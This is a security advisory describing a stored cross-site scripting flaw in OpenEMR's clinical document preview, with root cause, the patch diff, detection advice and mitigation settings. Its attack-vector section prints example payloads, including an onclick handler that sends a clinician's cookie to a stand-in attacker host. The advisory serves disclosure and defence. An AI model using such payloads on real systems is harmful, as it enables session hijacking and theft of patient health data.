CVE-2026-33932: OpenEMR Stored XSS Vulnerability

CVE-2026-33932 Overview

OpenEMR, a widely-deployed free and open source electronic health records (EHR) and medical practice management application, contains a stored cross-site scripting (XSS) vulnerability in its CCDA (Consolidated Clinical Document Architecture) document preview functionality. This vulnerability affects all versions prior to 8.0.0.3 and allows attackers who can upload or send CCDA documents to execute arbitrary JavaScript code within a clinician's browser session when the malicious document is previewed.

The vulnerability stems from incomplete input sanitization in the XSL stylesheet processing linkHtml elements, where href="javascript:..." URIs and event handler attributes are not properly filtered, enabling script injection through crafted clinical documents.

Critical Impact

Healthcare systems processing malicious CCDA documents may expose clinician sessions to JavaScript injection, potentially leading to session hijacking, unauthorized access to patient health information (PHI), and compromise of medical practice management systems.

Affected Products

• OpenEMR versions prior to 8.0.0.3
• All OpenEMR deployments processing external CCDA documents
• Healthcare interoperability endpoints receiving CCDA data from external sources

Discovery Timeline

• 2026-03-26 - CVE-2026-33932 published to NVD
• 2026-03-26 - Last updated in NVD database

Technical Details for CVE-2026-33932

Vulnerability Analysis

This stored XSS vulnerability resides in OpenEMR's CCDA document preview functionality, specifically within the XSL transformation stylesheet used to render clinical documents for browser display. The vulnerability allows an attacker with the ability to submit or upload CCDA documents to embed malicious JavaScript that executes when healthcare staff preview the document.

The XSL stylesheet (cda.xsl) processes CCDA XML documents and transforms them into HTML for browser rendering. While the stylesheet implements sanitization for most narrative elements to prevent XSS attacks, the linkHtml element template was overlooked. This template directly copies all attributes from the source XML to the output HTML anchor element without validation, allowing dangerous attributes like href="javascript:..." and event handlers such as onclick, onmouseover, etc., to pass through unchanged.

When a clinician opens the preview of a maliciously crafted CCDA document, the embedded JavaScript executes within their authenticated browser session, potentially enabling session theft, unauthorized data access, or actions performed on behalf of the clinician.

Root Cause

The root cause is insufficient input validation in the XSL template handling linkHtml elements. The original vulnerable code used <xsl:copy-of select="@* | text()"/> which blindly copies all attributes from the input XML to the output HTML, bypassing security controls applied to other narrative elements. This inconsistent sanitization allowed javascript: protocol handlers and inline event attributes to reach the rendered output.

Attack Vector

An attacker can exploit this vulnerability by crafting a malicious CCDA document containing JavaScript payloads within linkHtml elements. The attack requires the ability to submit or upload CCDA documents to the target OpenEMR system, which may be possible through:

• Patient portal document upload features
• Healthcare interoperability interfaces (HL7 FHIR, Direct messaging)
• Internal clinical document workflows
• External referral document imports

When a clinician previews the poisoned document, the JavaScript executes with the privileges of their authenticated session, enabling session hijacking, credential theft, or manipulation of patient records.

<!-- Example malicious CCDA linkHtml payload (sanitized for documentation) -->
<linkHtml href="javascript:alert(document.cookie)">Click here for details</linkHtml>
<linkHtml href="#" onclick="fetch('https://attacker.com/steal?c='+document.cookie)">Patient Info</linkHtml>

The security patch implements proper URL validation and attribute sanitization:

   </xsl:template>
 
   <xsl:template xmlns:n1="urn:hl7-org:v3" xmlns:in="urn:lantana-com:inline-variable-data" match="n1:linkHtml">
-    <xsl:element name="a">
-      <xsl:copy-of select="@* | text()"/>
-    </xsl:element>
+    <a>
+      <xsl:variable name="href" select="normalize-space(@href)"/>
+      <xsl:choose>
+        <xsl:when test="starts-with($href, 'http://') or starts-with($href, 'https://')">
+          <xsl:attribute name="href">
+            <xsl:value-of select="$href"/>
+          </xsl:attribute>
+        </xsl:when>
+        <xsl:otherwise>
+          <xsl:attribute name="href">#</xsl:attribute>
+        </xsl:otherwise>
+      </xsl:choose>
+      <xsl:attribute name="rel">noopener noreferrer</xsl:attribute>
+      <xsl:attribute name="target">_blank</xsl:attribute>
+      <xsl:apply-templates/>
+    </a>
   </xsl:template>
 
   <!--   RenderMultiMedia

Source: GitHub Commit Update

The patch replaces the dangerous attribute copy operation with explicit URL protocol validation, only allowing http:// and https:// schemes while neutralizing all other protocols including javascript:. It also adds security attributes rel="noopener noreferrer" and target="_blank" to prevent reverse tabnabbing attacks.

Detection Methods for CVE-2026-33932

Indicators of Compromise

• CCDA documents containing linkHtml elements with javascript: protocol handlers
• CCDA documents with event handler attributes (onclick, onmouseover, onerror, etc.) within linkHtml elements
• Unusual outbound network connections from clinician workstations following document preview actions
• JavaScript errors or unexpected behavior in browser console during CCDA document rendering

Detection Strategies

• Implement Content Security Policy (CSP) headers on OpenEMR instances to detect and block inline script execution
• Deploy web application firewall (WAF) rules to detect XSS payloads in uploaded CCDA documents
• Enable browser security logging to identify unexpected JavaScript execution during document preview
• Audit incoming CCDA documents for linkHtml elements containing non-HTTP protocol handlers

Monitoring Recommendations

• Monitor web server access logs for CCDA document preview endpoints with unusual request patterns
• Implement real-time alerting for CSP violation reports indicating attempted XSS attacks
• Review authentication logs for session anomalies following CCDA document access events
• Enable endpoint detection and response (EDR) monitoring for browser process behavior anomalies

How to Mitigate CVE-2026-33932

Immediate Actions Required

• Upgrade OpenEMR to version 8.0.0.3 or later immediately
• Review recently uploaded or received CCDA documents for malicious linkHtml content
• Implement Content Security Policy headers to mitigate XSS impact if immediate patching is not possible
• Restrict CCDA document upload capabilities to trusted sources until patching is complete

Patch Information

OpenEMR has released version 8.0.0.3 which addresses this vulnerability. The fix implements strict URL protocol validation for linkHtml elements, ensuring only http:// and https:// schemes are permitted while neutralizing javascript: and other dangerous protocols.

Organizations should upgrade to the patched version by downloading the release from the GitHub Release Version 8.0.0.3. For detailed information about the vulnerability and the specific code changes, refer to the GitHub Security Advisory GHSA-g77x-9p3x-2j8f.

Workarounds

• Deploy a web application firewall (WAF) with XSS detection rules to filter malicious CCDA content
• Implement strict Content Security Policy headers to block inline script execution: Content-Security-Policy: script-src 'self';
• Temporarily disable CCDA document preview functionality or restrict access to trusted internal documents only
• Pre-scan all incoming CCDA documents for javascript: protocol handlers and event attributes before allowing import

# Example Apache configuration to add CSP headers for OpenEMR
# Add to virtual host or .htaccess configuration
<IfModule mod_headers.c>
    Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';"
    Header set X-Content-Type-Options "nosniff"
    Header set X-XSS-Protection "1; mode=block"
</IfModule>